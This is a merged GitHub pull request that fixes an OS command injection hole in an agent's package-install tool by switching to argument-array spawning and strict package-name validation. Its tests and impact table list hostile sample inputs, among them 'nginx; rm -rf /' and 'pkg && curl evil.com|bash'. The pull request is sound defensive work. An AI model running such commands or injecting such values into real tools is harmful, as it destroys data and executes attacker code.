fix(exec): prevent CWE-78 OS command injection in exec_install (issue #12) - #32
Merged
Conversation
…12) Replace string-interpolated shell command with spawnInstallCommand using argument arrays, eliminating bash -c injection surface. Add strict package name validation (alphanumeric, dots, hyphens, underscores, colons for docker tags). Reject URL-based and archive-based package specs. Changes: - install.ts: replace runCommand+buildCommand with spawnInstallCommand, add parseAndValidatePackages() with regex validation, add validatePackageToken() helper, fix commandDisplay to include manager flags (apt -y, npm -g, docker pull) - runner.ts: add spawnInstallCommand() using spawn() with argument arrays instead of bash -c string interpolation - tools.test.ts: mock spawnInstallCommand, add security tests (URL rejection, archive rejection, shell metacharacter rejection, too many packages, empty packages, timeout/error handling) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Add security defaults (sandbox_dir, env_whitelist, max_concurrent) to makeExecConfig
- Mock ensureSandboxDir and execConcurrency to avoid real semaphore/fs in tests
- Update exec_run and exec_service assertions to expect 3-arg runCommand call
with security options object ({cwd, env})
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes issue #12 — HIGH severity CWE-78 OS Command Injection in
exec_install.The
packagesparameter was interpolated directly into shell commands via template literals (bash -c "apt install -y ${pkgs}") with no sanitization, allowing arbitrary command execution through shell metacharacters.Changes
src/agent/tools/exec/install.tsrunCommand+INSTALL_COMMANDSstring interpolation withspawnInstallCommand(argument-array spawn)validatePackageToken()— strict regex validation per package token (/^[a-zA-Z0-9][a-zA-Z0-9_.\-:]*$/)parseAndValidatePackages()— splits by whitespace, enforces max 20 packages, rejects URLs (http://,https://) and archives (.deb,.whl,.tar.gz,.tgz,.zip)commandDisplayaudit string to include manager flags (apt install -y,npm install -g,docker pull)src/agent/tools/exec/runner.tsspawnInstallCommand()— usesspawn(manager, args, ...)with argument arrays instead ofbash -cstring interpolation, eliminating the injection surface entirelysrc/agent/tools/exec/__tests__/tools.test.tsspawnInstallCommandfor install testshttps://evil.com/malware.tar.gz).whl,.deb,.tar.gz); rm -rf /,&&,|,`)Verification
npx vitest run src/agent/tools/exec/__tests__/tools.test.ts # 31 tests passed ✓Security Impact
nginx; rm -rf /pkg && curl evil.com|bashhttps://evil.com/malware.debmalware.whlbash -cstringspawn(manager, args)🤖 Generated with Claude Code